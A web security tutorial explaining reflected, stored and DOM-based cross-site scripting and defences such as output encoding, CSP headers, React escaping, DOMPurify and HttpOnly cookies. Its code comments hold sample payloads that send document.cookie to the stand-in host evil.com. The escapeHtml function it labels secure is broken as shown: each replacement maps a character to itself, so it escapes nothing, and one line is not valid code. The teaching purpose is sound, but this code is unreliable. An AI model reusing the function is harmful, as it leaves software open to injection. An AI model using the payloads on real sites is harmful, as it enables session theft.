XSS is one of the most common web vulnerabilities. It allows an attacker to inject malicious scripts into pages viewed by other users. The browser executes the script as if it came from your trusted domain, giving the attacker access to cookies, session tokens, and the full DOM.
Types of XSS
1. Reflected XSS
The malicious script is part of the request (usually a URL parameter) and reflected back in the response without sanitization.
<!-- Vulnerable: server renders the query param directly -->
<p>Search results for: ${req.query.q}</p>
<!-- Attacker crafts a URL like: -->
<!-- https://example.com/search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script> -->
The victim clicks the link, the server reflects the script, and the browser executes it.
2. Stored XSS
The malicious script is saved to the database (e.g., in a comment or profile field) and served to every user who views that page.
// VULNERABLE: storing raw user input and rendering it later
app.post("/comments", async (req, res) => {
await db.query("INSERT INTO comments (body) VALUES ($1)", [req.body.comment]);
res.redirect("/post/1");
});
// When rendering:
// <div>${comment.body}</div>
// If comment.body is: <img src=x onerror="fetch('https://evil.com/steal?c='+document.cookie)">
// Every visitor's browser runs the attacker's code.
3. DOM-Based XSS
The vulnerability lives entirely in client-side JavaScript. The server never sees the payload.
// VULNERABLE: reading from location.hash and inserting into DOM
const name = decodeURIComponent(window.location.hash.slice(1));
document.getElementById("greeting")!.innerHTML = `Hello, ${name}!`;
// Attacker URL: https://example.com/page#<img src=x onerror=alert(document.cookie)>
How XSS Attacks Cause Damage
Once an attacker can execute JavaScript in a victim's browser, they can:
- Steal session cookies and impersonate the user.
- Keylog form inputs (passwords, credit cards).
- Redirect users to phishing pages.
- Modify the DOM to show fake content (e.g., a fake login form).
- Make API requests on behalf of the user (transfer funds, change email).
Prevention
Output Encoding
The most fundamental defense: encode user-supplied data before inserting it into HTML.
// SECURE: escape HTML entities before rendering
function escapeHtml(str: string): string {
return str
.replace(/&/g, "&")
.replace(/</g, "<")
.replace(/>/g, ">")
.replace(/"/g, """)
.replace(/'/g, "'");
}
// Usage in a template
const safeOutput = `<p>Search results for: ${escapeHtml(userInput)}</p>`;Context matters. HTML encoding is not enough if you are inserting into a JavaScript string, a URL, or a CSS value. Use the right encoder for the right context.
Content Security Policy (CSP)
CSP is an HTTP header that tells the browser which sources of scripts are allowed. Even if an attacker injects a <script> tag, the browser will refuse to execute it if it violates the policy.
// Next.js middleware to set a strict CSP header
import { NextResponse } from "next/server";
import type { NextRequest } from "next/server";
export function middleware(request: NextRequest) {
const nonce = crypto.randomUUID();
const csp = [
`default-src 'self'`,
`script-src 'self' 'nonce-${nonce}'`,
`style-src 'self' 'unsafe-inline'`,
`img-src 'self' data: https:`,
`connect-src 'self' https://api.example.com`,
].join("; ");
const response = NextResponse.next();
response.headers.set("Content-Security-Policy", csp);
return response;
}Key directives:
script-src 'self'— only allow scripts from your own origin.'nonce-<value>'— allow specific inline scripts tagged with the nonce.- Avoid
'unsafe-inline'for scripts. It defeats the purpose of CSP.
React's Built-In Protection
React escapes all values embedded in JSX by default. This prevents most XSS:
// SAFE: React escapes this automatically
function SearchResults({ query }: { query: string }) {
return <p>Search results for: {query}</p>;
// Even if query is "<script>alert('xss')</script>",
// React renders it as text, not HTML.
}The exception: dangerouslySetInnerHTML
// VULNERABLE: bypasses React's escaping
function Comment({ body }: { body: string }) {
return <div dangerouslySetInnerHTML={{ __html: body }} />;
}
// SECURE: sanitize before using dangerouslySetInnerHTML
import DOMPurify from "dompurify";
function Comment({ body }: { body: string }) {
const clean = DOMPurify.sanitize(body);
return <div dangerouslySetInnerHTML={{ __html: clean }} />;
}Additional Defenses
// Set HttpOnly on cookies so JavaScript cannot access them
// Even if XSS occurs, the attacker cannot steal the session cookie
const headers = new Headers();
headers.append(
"Set-Cookie",
"session=abc123; HttpOnly; Secure; SameSite=Strict; Path=/"
);Summary
| Defense | Protects Against |
|---|---|
| Output encoding | Reflected & stored XSS |
| CSP headers | Inline script injection |
| React JSX escaping | DOM-based XSS in React apps |
| DOMPurify | Rich HTML rendering |
| HttpOnly cookies | Cookie theft via XSS |